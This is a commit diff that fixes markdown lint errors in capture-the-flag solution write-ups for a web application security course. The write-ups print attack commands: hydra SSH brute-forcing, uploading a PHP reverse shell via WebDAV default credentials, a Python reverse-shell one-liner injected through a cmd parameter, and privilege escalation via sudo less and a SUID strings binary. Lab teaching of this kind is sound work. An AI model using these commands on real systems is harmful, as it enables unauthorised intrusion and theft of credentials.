Skip to content

Commit 91c6a4a

Browse files
author
David Bors
committed
10-end-to-end-chapter: fix linting errors
Fix linter errors from Superlinter. Signed-off-by: David Bors <borsdavid@proton.me>
1 parent b1b1feb commit 91c6a4a

File tree

14 files changed

+328
-172
lines changed

14 files changed

+328
-172
lines changed

chapters/web-application-security/10-end-to-end/drills/bounty-hacker/sol/index.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,12 @@
1818

1919
![2](images/ftp_login.jpg?raw=true "Ftp_login")
2020

21-
+ **Listing the directory, we can observe two .txt files uploaded so let's get them**
21+
+ **Listing the directory, we can observe two `.txt` files uploaded so let's get them**
2222

2323
``mget *.txt``
2424

25-
+ **Reading the task.txt file, we can find out who wrote the task list, giving us the first task answer. We list the second txt file, named locks.txt, and we can see multiple strings which seems to be some passwords kept in the ftp server**
25+
+ **Reading the `task.txt` file, we can find out who wrote the task list, giving us the first task answer.**
26+
**We list the second txt file, named `locks.txt`, and we can see multiple strings which seems to be some passwords kept in the ftp server.**
2627

2728
```text
2829
rEddrAGON
@@ -39,9 +40,12 @@ R3dDRaG0Nsynd1c@T3
3940
...
4041
```
4142

42-
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task. The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
43+
+ **Let's try to use this password file to connect on the ssh service, using simultaneously the user found in the previous task.**
44+
**The Hydra tool has a brute-force option to crack the login of the ssh service, so we can use it**
4345

44-
``hydra -l lin -P locks.txt 10.10.229.13 -t 4 ssh``
46+
```console
47+
hydra -l lin -P locks.txt 10.10.229.13 -t 4 ssh
48+
```
4549

4650
+ **After we execute the brute-force process, Hydra give us the needed user password**
4751

chapters/web-application-security/10-end-to-end/drills/brooklyn-nine-nine/sol/index.md

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,32 +22,42 @@
2222

2323
![2](images/ftp.jpg)
2424

25-
**We successfully connected and we can see a** note_to_jake.txt **file inside the ftp server. We can get that file and read it**
25+
**We successfully connected and we can see a** `note_to_jake.txt` **file inside the ftp server.**
26+
**We can get that file and read it**
2627

2728
``get note_to_jake.txt``
2829
![3](images/change_password.jpg)
2930

30-
+ **Looks that Jake need to change his password. Because jake is using a very weak password, maybe we can brute-force his login to some service. Let's use hydra to brute-force the ssh service - I'm using the rockyou.txt wordlist**
31+
+ **Looks that Jake need to change his password.**
32+
**Because jake is using a very weak password, maybe we can brute-force his login to some service.**
33+
**Let's use hydra to brute-force the ssh service - I'm using the `rockyou.txt` wordlist**
3134

32-
``hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.244.52 -t 4 ssh``
35+
```console
36+
hydra -l jake -P /usr/share/wordlists/rockyou.txt 10.10.244.52 -t 4 ssh
37+
```
3338

3439
![4](images/hydra.jpg)
3540

3641
## User escalation
3742

38-
+ **So here we got some ssh credentials. Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
43+
+ **So here we got some ssh credentials.**
44+
**Let's connect on the ssh service and run a** ``sudo -l`` **command on the jake user**
3945

4046
![5](images/less.jpg)
4147

42-
**It looks like jake can run the less command with su privilege. Less is a command which can display content of a file and we can navigate both forward and backward through the file. Let's try to read the user flag.**
48+
**It looks like jake can run the less command with su privilege.**
49+
**Less is a command which can display content of a file and we can navigate both forward and backward through the file.**
50+
**Let's try to read the user flag.**
4351

4452
``sudo less /home/holt/user.txt``
4553

4654
[6](images/user_flag_1.jpg)
4755

4856
## Root escalation
4957

50-
+ **And here it is our first flag. We can also use less to get a privesc and get root access. Let's read a file with less**
58+
+ **And here it is our first flag.**
59+
**We can also use less to get a privesc and get root access.**
60+
**Let's read a file with less**
5161

5262
``less /etc/passwd``
5363

chapters/web-application-security/10-end-to-end/drills/dav/sol/index.md

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@
2222

2323
![dirb](images/nmap_dirb_scan2.jpg?raw=true "dirb")
2424

25-
**Navigating to the /webdav directory, the login page shows up. We need some credentials, and searching on google we can find some.**
25+
**Navigating to the /webdav directory, the login page shows up.**
26+
**We need some credentials, and searching on google we can find some.**
2627

2728
[login](images/login.png?raw=true "login")
2829

@@ -34,15 +35,20 @@
3435

3536
[webdav](images/webdav.jpg?raw=true "webdav")
3637

37-
+ **Reading the file, it seems to be some credentials with a hashed password. Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service. It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory. Let's login with the cadaver, the WebDAV client, using the same default credentials**
38+
+ **Reading the file, it seems to be some credentials with a hashed password.**
39+
**Trying to unhashed it, i realised it's nothing that we can do with it so i continued to read about WebDAV service.**
40+
**It has some similarities with the ftp, among with the cadaver: we can upload some files in that /webdav directory.**
41+
**Let's login with the cadaver, the WebDAV client, using the same default credentials**
3842

3943
``cadaver http://10.10.62.166/webdav/``
4044

4145
``Username: wampp``
4246

4347
``Password: xampp``
4448

45-
+ **Now, let's try to upload a reverse php shell. I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell). Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
49+
+ **Now, let's try to upload a reverse php shell.**
50+
**I use the [pentestmonkey reverse shell](https://github.com/pentestmonkey/php-reverse-shell).**
51+
**Get it and modify the $ip parameter with your tryhackme tunneled ip and then upload it on our webdav directory**
4652

4753
``put php-reverse-shell.php``
4854

@@ -60,9 +66,12 @@
6066

6167
## User escalation
6268

63-
**And we're in. Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
69+
**And we're in.**
70+
**Let's spawn an interactive shell and read our first flag, located inside the home directory of the merlin user.**
6471

65-
``python -c 'import pty;pty.spawn("/bin/bash")'``
72+
```console
73+
python -c 'import pty;pty.spawn("/bin/bash")'
74+
```
6675

6776
![in](images/usermer.jpg)
6877

chapters/web-application-security/10-end-to-end/drills/jack-of-all-trades/sol/index.md

Lines changed: 68 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -12,37 +12,45 @@
1212

1313
``nmap -sV -sC -oN scan1 10.10.252.248``
1414

15-
+ **We can see 2 open ports with some services: ssh and http. The first strange thing is that the services are opened on reversed ports. Ssh is opened on the 80 ports and http on the 22 one**
15+
+ **We can see 2 open ports with some services: ssh and http.**
16+
**The first strange thing is that the services are opened on reversed ports.**
17+
**Ssh is opened on the 80 ports and http on the 22 one**
1618

1719
![1](images/nmap_scan_jack.jpg?raw=true "Nmap_scan")
1820

19-
+ **Let's try to get to the http web-site on the 22 port. We see an browser error: seems like Firefox has canceled our request for kind of security. That's because the unusual use of 22 port for the http service**
21+
+ **Let's try to get to the http web-site on the 22 port.**
22+
**We see an browser error: seems like Firefox has canceled our request for kind of security.**
23+
**That's because the unusual use of 22 port for the http service**
2024

2125
![2](images/restrict.jpg?raw=true "restrict")
2226

23-
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274). Go into the about:config page in the url, search for the ports and add the network.security.ports.banned.override string, with the 22 value**
27+
**We can allow this restricted port making some configuration inside the mozilla browser: [allow restricted ports](https://support.mozilla.org/en-US/questions/1083282#answer-780274).**
28+
**Go into the about:config page in the URL, search for the ports and add the `network.security.ports.banned.override` string, with the 22 value.**
2429

2530
![3](images/add_string.png?raw=true "add_string")
2631

2732
![4](images/welcome.png?raw=true "welcome")
2833

29-
**We can see our main page, with the box title and some images in there. Let's scan with gobuster too.**
34+
**We can see our main page, with the box title and some images in there.**
35+
**Let's scan with gobuster too.**
3036

3137
``gobuster dir -u http://10.10.252.248:22/ -w /usr/share/wordlists/dirb/common.txt``
3238

3339
![5](images/gobust.jpg?raw=true "gobust")
3440

35-
+ **Let's take a look into our gobuster output. Let's visit the assets page; we can see some *jpg* files, one of them called** stego.jpg **so we can think about an encrypted image with the help of steganography**
41+
+ **Let's take a look into our gobuster output.**
42+
**Let's visit the assets page; we can see some *jpg* files, one of them called** `stego.jpg` **so we can think about an encrypted image with the help of steganography**
3643

3744
![6](images/assets.jpg?raw=true "assets")
3845

3946
+ **We can try to extract the stego image to see de hidden data, so we're gonna use steghide**
4047

4148
``steghide --extract -sf stego.jpg``
4249

43-
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page. Let's take a look into the source code of the page.**
50+
**A passphrase is requested, so we cannot immediately decrypt the image, but we can continue to enumerate the http page.**
51+
**Let's take a look into the source code of the page.**
4452

45-
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the /recovery.php page and there's also a base64 encoded message**
53+
+ **We can spot a message left in the source code of the page: a recovery message which tells us we can connect on the `/recovery.php` page and there's also a base64 encoded message**
4654

4755
![7](images/base64.jpg?raw=true "base64")
4856

@@ -52,49 +60,62 @@
5260

5361
![8](images/decrypt.jpg?raw=true "base64")
5462

55-
**We got a message and a password too! Let's use it to decrypt the image with steghide.**
63+
**We got a message and a password too!**
64+
**Let's use it to decrypt the image with steghide.**
5665

5766
![9](images/first_steg.jpg?raw=true "first_steg")
5867

59-
+ **A creds.txt file was hidden inside, but the stego.jpg wasn't the good path. Let's download the other images from the assets page and extract them**
68+
+ **A `creds.txt` file was hidden inside, but the `stego.jpg` wasn't the good path.**
69+
**Let's download the other images from the assets page and extract them**
6070

6171
![10](images/real_steg.jpg?raw=true "real_steg")
6272

6373
``steghide --extract -sf header.jpg``
6474

65-
**Bingo! We got a username and a password inside the header.jpg image. Let's go to the /recovery.php page and try to login with the credentials.**
75+
**Bingo! We got a username and a password inside the `header.jpg` image.**
76+
**Let's go to the `/recovery.php` page and try to login with the credentials.**
6677

6778
+ **Logging in with our credentials on the page, we are redirected to a page with the message:**
6879

6980
``GET me a 'cmd' and I'll run it for you Future-Jack.``
7081

7182
![11](images/login.jpg?raw=true "login")
7283

73-
**Now, let's try some system commands inside the url:**
84+
**Now, let's try some system commands inside the URL:**
7485

7586
``http://10.10.252.248:22/nnxhweOV/index.php?cmd=cat /etc/passwd``
7687

7788
![cmd](images/cmdworks.jpg?raw=true "cmd")
7889

79-
+ **It's all working, so go grab a reverse shell. I'm gonna use python and start listen with nc**
90+
+ **It's all working, so go grab a reverse shell.**
91+
**I'm gonna use python and start listen with nc**
8092

81-
``nc -lvnp 1234``
93+
```console
94+
nc -lvnp 1234
95+
```
8296

83-
``http://10.10.252.248:22/nnxhweOV/index.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``
97+
```text
98+
http://10.10.252.248:22/nnxhweOV/index.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
99+
```
84100

85101
![12](images/access.jpg?raw=true "access")
86102

87103
## User escalation
88104

89-
**Here we got our access into the system. Let's spawn an interactive shell with python and continue to enumerate.**
105+
**Here we got our access into the system.**
106+
**Let's spawn an interactive shell with python and continue to enumerate.**
90107

91-
``python -c 'import pty; pty.spawn("/bin/bash")'``
108+
```console
109+
python -c 'import pty; pty.spawn("/bin/bash")'
110+
```
92111

93-
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user. According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
112+
+ **Looking into the /home directory, we can see a** ``jacks_password_list`` **file which seems to be a password list for the jake user.**
113+
**According to the second service opened, on the 80 port, the ssh service, we're gonna try to bruteforce the login with the given wordlist and with the help of the Hydra tool**
94114

95115
![13](images/jackspassw.jpg?raw=true "jacks")
96116

97-
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine. Open a python server on the Jack box and we're gonna get the file on ours**
117+
+ **Firstly, we need to download the** ``jacks_password_list`` **file to our machine.**
118+
**Open a python server on the Jack box and we're gonna get the file on ours**
98119

99120
**The Jack box:**
100121

@@ -104,44 +125,61 @@
104125

105126
**``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/jacks_password_list``
106127

107-
+ **Now, having the wordlist, let's start the bruteforce phase. Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
128+
+ **Now, having the wordlist, let's start the bruteforce phase.**
129+
**Don't forget to set the port for the ssh service, because it's not on the default (22), but the 80 one**
108130

109-
``hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh``
131+
```console
132+
hydra -s 80 -v -V -l jack -P jacks_password_list -t 8 10.10.252.248 ssh
133+
```
110134

111135
![13](images/hydra.jpg?raw=true "hydra")
112136

113137
**Let's connect into the ssh server with our credentials on the 80 port.**
114138

115-
``ssh jake@10.10.252.248 -p 80``
139+
```console
140+
ssh jake@10.10.252.248 -p 80
141+
```
116142

117-
+ **In the /home/jack directory we can see the user flag, but in the .jpg format. Let's get the image on our machine, using the same method as above, and then open it**
143+
+ **In the /home/jack directory we can see the user flag, but in the .jpg format.**
144+
**Let's get the image on our machine, using the same method as above, and then open it**
118145

119-
**``www-data@jack-of-all-trades:/home$``** ``python -m SimpleHTTPServer 6999``
146+
```console
147+
www-data@jack-of-all-trades:/home$ python -m SimpleHTTPServer 6999
148+
```
120149

121-
**``{kali@kali:Jack of All Trades_0}$``** ``wget 10.10.252.248:6999/user.jpg``
150+
```console
151+
{kali@kali:Jack of All Trades_0}$ wget 10.10.252.248:6999/user.jpg
152+
```
122153

123154
**Opening the user.jpg flag, we can see the Penguing recipe and the user flag.**
124155

125156
![14](images/user.flag.jpg?raw=true "user")
126157

127158
## Root escalation
128159

129-
+ **Checking for ``sudo -l`` on the jack user gives us no good path. He has no sudo permission on the machine**
160+
+ **Checking for ``sudo -l`` on the jack user gives us no good path.**
161+
**He has no `sudo` permission on the machine**
130162

131163
``Sorry, user jack may not run sudo on jack-of-all-trades.``
132164

133165
**Let's check for some advanced linux file permissions - suid.**
134166

135-
``find / -type f -user root -perm -4000 -print 2>/dev/null``
167+
```console
168+
find / -type f -user root -perm -4000 -print 2>/dev/null
169+
```
136170

137-
+ **This gives us some interesting output. The strings executable has got file owner permission when executing a command**
171+
+ **This gives us some interesting output.**
172+
**The strings executable has got file owner permission when executing a command**
138173

139174
![15](images/suid.jpg?raw=true "suid")
140175

141-
**Knowing this, let's try to use strings on our root.txt flag.**
176+
**Knowing this, let's try to use strings on our `root.txt` flag.**
142177

143-
``strings /root/root.txt``
178+
```console
179+
strings /root/root.txt
180+
```
144181

145-
+ **And here's our root flag. This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
182+
+ **And here's our root flag.**
183+
**This was a very nice box with some steganography challenges into, a reversed ports configuration of services and some file permissions**
146184

147185
![15](images/root_flag_jack.jpg?raw=true "suid")

0 commit comments

Comments
 (0)